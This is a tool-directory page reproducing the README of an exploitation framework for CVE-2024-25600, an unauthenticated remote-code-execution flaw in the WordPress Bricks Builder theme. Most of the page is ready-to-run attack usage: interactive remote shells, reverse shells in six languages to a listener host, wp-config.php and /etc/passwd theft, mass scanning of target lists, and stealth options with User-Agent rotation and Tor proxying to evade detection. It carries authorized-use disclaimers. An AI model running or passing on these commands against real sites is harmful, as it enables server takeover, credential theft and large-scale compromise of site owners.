Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
WP-Bricks-Exploit-CVE-2024-25600 — CVE-2024-25600 - Unauthenticated RCE exploit for WordPress Bricks Builder Theme. Advanced exploitation framework with interactive shell, reverse shells, file upload/download, async scanning, stealth mode, proxy support, and multi-threaded vulnerability scanning. For authorized security testing only. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/wp-bricks-exploit-cve-2024-25600
ReconnaissanceVulnerability ScannersExploitationShellcodeWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlRed Teaming

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Payload Development
GitHubcerberusmrxi/wp-bricks-exploit-cve-2024-25600

WP-Bricks-Exploit-CVE-2024-25600

View Repository
111 month agoNot yet reviewed

About

CVE-2024-25600 - Unauthenticated RCE exploit for WordPress Bricks Builder Theme. Advanced exploitation framework with interactive shell, reverse shells, file upload/download, async scanning, stealth mode, proxy support, and multi-threaded vulnerability scanning. For authorized security testing only.

Share

BricksRCE Exploiter

CVE-2024-25600 — WordPress Bricks Builder Unauthenticated RCE

Python Version CVSS CVE License Platform

Authorized security assessment tool for CVE-2024-25600
Author: Sudeepa Wanigarathna · Tool: BricksRCE Exploiter v1.0
Main script: cve-2024-25600.py

b

[!IMPORTANT] Authorized use only. This tool is for security research, education, and testing systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.


Table of Contents

  • Overview
  • Vulnerability Details
  • Features
  • Installation
  • Quick Start
  • Usage Guide
  • Command Reference
  • Interactive Shell
  • Output & Logging
  • Troubleshooting
  • Repository Layout
  • Version History
  • Disclaimer
  • Author & Credits
  • License

Overview

CVE-2024-25600 is a critical, unauthenticated remote code execution vulnerability in the WordPress Bricks Builder theme. Improper handling of user-controlled input in the render_element REST endpoint allows unauthenticated attackers to execute arbitrary PHP/system commands on affected installations.

BricksRCE Exploiter (cve-2024-25600.py) is a full-featured Python assessment tool for authorized security professionals to:

  • Detect vulnerable Bricks Builder installations
  • Validate impact with controlled command execution
  • Interact with compromised hosts via an interactive shell
  • Mass-scan target lists with async/threaded workers
  • Export structured results for reporting

Vulnerability Details

Affected Endpoints

EndpointMethod
/wp-json/bricks/v1/render_elementPOST
/?rest_route=/bricks/v1/render_elementPOST

Attack Summary

  1. Extract a Bricks nonce from the target page source
  2. Submit a crafted render_element request with a malicious element payload
  3. Server-side code evaluation leads to arbitrary command execution

References

  • CVE-2024-25600 (MITRE)
  • NVD Entry
  • Bricks Builder Changelog / Security Advisory

Features

Core Capabilities

Operational Controls

Reporting

CapabilityDescription
JSON / TXT exportSave scan results and vulnerable targets
Command historyOptional logging of executed commands
File loggingPersistent bricks_rce.log plus custom log paths

Installation

Prerequisites

  • Python 3.8+
  • pip
  • Network reachability to authorized target(s)

Setup

root@kitploit:~
git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2024-25600.py --help

Dependencies

root@kitploit:~
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0          # optional — SOCKS5 proxy support

Quick Start

Replace https://target.example with a lab or authorized target only.

root@kitploit:~
# Interactive shell
python3 cve-2024-25600.py -u https://target.example

# Single command
python3 cve-2024-25600.py -u https://target.example --cmd "id"

# Mass scan
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json

# Version detection
python3 cve-2024-25600.py -u https://target.example --detect-version

# Through Burp proxy
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

Usage Guide

All examples use the main script: cve-2024-25600.py

1. Show help

root@kitploit:~
python3 cve-2024-25600.py --help

2. Single-target interactive shell

Opens an interactive RCE shell after confirming the target is vulnerable.

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example

Workflow:

  1. Normalize and validate the URL
  2. Extract nonce from the page
  3. Verify vulnerability (unless --force)
  4. Drop into an interactive shell

3. Execute a single command

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --cmd "whoami"

Save command output to a file:

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output

4. Choose payload type

root@kitploit:~
# Default PHP exception-based payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php

# system() based payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system

5. Detect Bricks Builder version

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --detect-version

Combine with a command:

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"

6. Extract wp-config.php

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --extract-wp-config

Saved as wp-config_<target>.txt on success.

7. Reverse shells (authorized lab only)

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — bash reverse shell
python3 cve-2024-25600.py -u https://target.example \
  --reverse-shell bash \
  --lhost 10.0.0.5 \
  --lport 4444

All supported reverse shell types:

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc     --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php    --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby   --lhost 10.0.0.5 --lport 4444

8. Force mode (skip vulnerability check)

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"

9. Mass scanning from a file

root@kitploit:~
# targets.txt — one URL per line
python3 cve-2024-25600.py -f targets.txt

With threads, delay, stealth, and JSON output:

root@kitploit:~
python3 cve-2024-25600.py -f targets.txt \
  -t 15 \
  --delay 0.5 \
  --stealth \
  -o vulnerable.json

Synchronous (thread-pool) scanning instead of async:

root@kitploit:~
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt

Quiet mass scan:

root@kitploit:~
python3 cve-2024-25600.py -f targets.txt -q -o results.json

10. Endpoint selection

root@kitploit:~
# Both endpoints (default)
python3 cve-2024-25600.py -u https://target.example --endpoint both

# Only /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json

# Only /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route

11. Stealth mode

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example \
  --stealth \
  --delay 1.0 \
  --max-retries 5 \
  --timeout 20

12. Custom User-Agent

root@kitploit:~
# Custom UA
python3 cve-2024-25600.py -u https://target.example \
  --user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"

# Disable random UA rotation
python3 cve-2024-25600.py -u https://target.example --no-random-ua

13. Proxy support

root@kitploit:~
# HTTP proxy (e.g. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# SOCKS5 proxy
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050

# SOCKS5h (DNS through proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050

14. SSL verification

root@kitploit:~
# Enable SSL certificate verification (disabled by default)
python3 cve-2024-25600.py -u https://target.example --verify-ssl

15. Output and logging

root@kitploit:~
# Save scan results as JSON
python3 cve-2024-25600.py -f targets.txt -o results.json

# Save scan results as TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt

# Custom application log file
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v

# Log executed commands
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"

16. Verbose and quiet modes

root@kitploit:~
# Verbose / debug logging
python3 cve-2024-25600.py -u https://target.example -v

# Quiet mode (minimal output)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"

17. Performance tuning

root@kitploit:~
python3 cve-2024-25600.py -f targets.txt \
  -t 25 \
  --timeout 20 \
  --delay 0.2 \
  --max-retries 5 \
  -o results.json

18. Combined full assessment example

root@kitploit:~
python3 cve-2024-25600.py -u https://target.example \
  --detect-version \
  --extract-wp-config \
  --stealth \
  --delay 0.8 \
  --timeout 20 \
  --max-retries 5 \
  --endpoint both \
  --proxy http://127.0.0.1:8080 \
  --log-file bricks_assessment.log \
  --command-log commands.log \
  -v

19. Interactive shell built-in commands

After starting with -u (no --cmd / --reverse-shell):

root@kitploit:~
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit

Command Reference

Target Options

ArgumentDescription
-u, --urlSingle target URL
-f, --fileFile containing target URLs (one per line)

Scanning Options

Stealth Options

Exploitation Options

Output Options


Interactive Shell

When exploiting a single target without --cmd or --reverse-shell, an interactive shell opens:

root@kitploit:~
Shell> whoami
www-data

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell> help

Built-in Commands

Features

  • Command history persisted to ~/.bricks_rce_history
  • Autocomplete for common commands
  • Auto-suggestions from history (prompt-toolkit)

Output & Logging

Console

Rich-powered panels, progress bars, and result tables:

root@kitploit:~
[*] Testing: https://target.example
[+] https://target.example is vulnerable!
[+] Interactive shell opened successfully

Scan Results Table

JSON Export (-o results.json)

root@kitploit:~
{
  "timestamp": "2026-07-17T01:30:00",
  "version": "1.0.0",
  "config": {
    "threads": 10,
    "timeout": 15,
    "delay": 0.5
  },
  "stats": {
    "processed": 100,
    "vulnerable": 3,
    "failed": 97
  },
  "vulnerable_targets": [
    {
      "url": "https://target.example",
      "timestamp": "2026-07-17T01:31:12"
    }
  ]
}

Log Files

FilePurpose
bricks_rce.logDefault append-only application log
--log-file PATHAdditional custom log handler
--command-log PATHExecuted command audit trail

Troubleshooting

Debug Workflow

root@kitploit:~
# Verbose single-target check
python3 cve-2024-25600.py -u https://target.example --detect-version -v

# Through Burp for request inspection
python3 cve-2024-25600.py -u https://target.example \
  --proxy http://127.0.0.1:8080 -v --cmd "id"

# Prefer a specific endpoint
python3 cve-2024-25600.py -u https://target.example --endpoint json -v

Repository Layout

root@kitploit:~
exploit/
├── cve-2024-25600.py     # BricksRCE Exploiter (v1.0)
├── requirements.txt      # Python dependencies
├── README.md             # This file
├── bricks_rce.log        # Runtime log (generated)
└── venv/                 # Local virtualenv (optional, not committed)

Version History

v1.0.0 — Initial Release

  • Unauthenticated RCE detection and exploitation for CVE-2024-25600
  • Multi-method nonce extraction
  • Interactive shell with upload / download
  • Single-command and reverse-shell modes
  • Async / threaded mass scanning
  • Version detection and wp-config extraction
  • Stealth mode, UA rotation, proxy support
  • Rich CLI with JSON/TXT result export

Disclaimer

This project is provided as-is for defensive security research and authorized penetration testing.

By using this software you agree that:

  1. You will only target systems you own or are explicitly authorized to test.
  2. You understand applicable computer-abuse and data-protection laws.
  3. The author and contributors are not responsible for damage, data loss, or legal consequences from misuse.

If you discover this vulnerability in production environments you do not own, follow responsible disclosure practices and coordinate with the site owner / Bricks Builder security team.

Unauthorized access to computer systems is a federal crime.


Author & Credits


License

root@kitploit:~
MIT License

Copyright (c) 2024–2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Support

  • Star the repo if it helps your authorized research
  • Open issues for bugs, false positives, or detection improvements
  • Pull requests welcome for docs and authorized-lab UX

For authorized security testing only.

Download Tool
AttributeValue
CVE IDCVE-2024-25600
CVSS9.8 (Critical)
Attack VectorNetwork — unauthenticated
ImpactFull remote code execution, confidentiality / integrity / availability compromise
Affected ProductWordPress Bricks Builder theme
Affected VersionsBricks ≤ 1.9.6 (patched in 1.9.6.1+)
Vulnerability TypeUnauthenticated Remote Code Execution
CWECWE-94 (Improper Control of Generation of Code)
CapabilityDescription
Vulnerability detectionConfirms RCE via controlled marker-based probe
Nonce extractionMulti-method nonce discovery (scripts, page source, meta, REST)
Version detectionIdentifies Bricks Builder version from CSS / readme / REST
Interactive shellFull REPL with history, autocomplete, and file transfer
Single-command modeExecute one command and exit (scripting-friendly)
Reverse shell helpersGenerate bash / nc / Python / PHP / Perl / Ruby reverse shells
wp-config extractionAttempts to locate and read wp-config.php
Mass scanningAsync or threaded multi-target scanning from a URL list
CapabilityDescription
Rate limitingConfigurable delay between requests
Retry logicExponential backoff on timeouts and connection errors
User-Agent rotationRandom browser fingerprints per request
Stealth modeRandomized Accept-Language / Accept-Encoding headers
Proxy supportHTTP, HTTPS, SOCKS5 / SOCKS5h
Dual endpointsPrefer wp-json, rest_route, or both
Force modeSkip pre-check and attempt exploitation directly
Rich CLIProgress bars, tables, and colored panels via Rich
ArgumentDefaultDescription
-t, --threads10Concurrent workers for mass scans
--delay0.5Delay between requests (seconds)
--timeout15HTTP request timeout (seconds)
--max-retries3Retry attempts on failure
--forceoffSkip vulnerability check
--syncoffUse thread pool instead of async
ArgumentDescription
--user-agentCustom User-Agent string
--no-random-uaDisable User-Agent rotation
--proxyProxy URL (http://, https://, socks5://, socks5h://)
--stealthEnable stealth mode (random headers + delays)
--endpointjson | rest_route | both (default: both)
ArgumentDescription
--cmdExecute a single command and exit
--payloadPayload type: php (default) or system
--reverse-shellShell type: bash, nc, python, php, perl, ruby
--lhostListener host for reverse shell
--lportListener port for reverse shell
--extract-wp-configAttempt to extract wp-config.php
--detect-versionDetect Bricks Builder version
--save-outputSave single-command output to a file
ArgumentDescription
-o, --outputResults file (.json or .txt)
--log-fileCustom detailed log path
--command-logLog executed commands to a file
-v, --verboseDebug logging
-q, --quietMinimal console output
--verify-sslEnable SSL certificate verification (off by default)
CommandDescription
exitExit the shell
helpShow help
clearClear the screen
download [remote]Download a remote file (base64 transfer)
upload [local] [remote]Upload a local file to the target
php [cmd]Execute via PHP payload (default)
system [cmd]Execute via system() payload
MetricDescription
Total ProcessedURLs scanned
SuccessfulConfirmed vulnerable
FailedNon-vulnerable / unreachable
Vulnerable FoundCount of confirmed RCE targets
Commands ExecutedTotal RCE command runs
Elapsed TimeWall-clock scan duration
SymptomWhat to try
Nonce not foundConfirm Bricks is active; try -v; ensure the front page loads
Target not vulnerableVerify Bricks ≤ 1.9.6; try --force; check both endpoints
Connection timeoutsRaise --timeout / --max-retries; check proxy
Rate limited (429)Increase --delay; enable --stealth
SSL errorsDefault skips verify; use --verify-ssl only when needed
Async instabilityUse --sync for threaded scanning
Reverse shell failsConfirm listener is up; try alternate shell types (python, nc)
Empty command outputCommand may have succeeded with no stdout; try echo test
wp-config not foundPaths vary by host; use interactive shell with custom find / cat
RoleName
Tool AuthorSudeepa Wanigarathna
CVECVE-2024-25600
ToolBricksRCE Exploiter v1.0
Main Scriptcve-2024-25600.py
LicenseMIT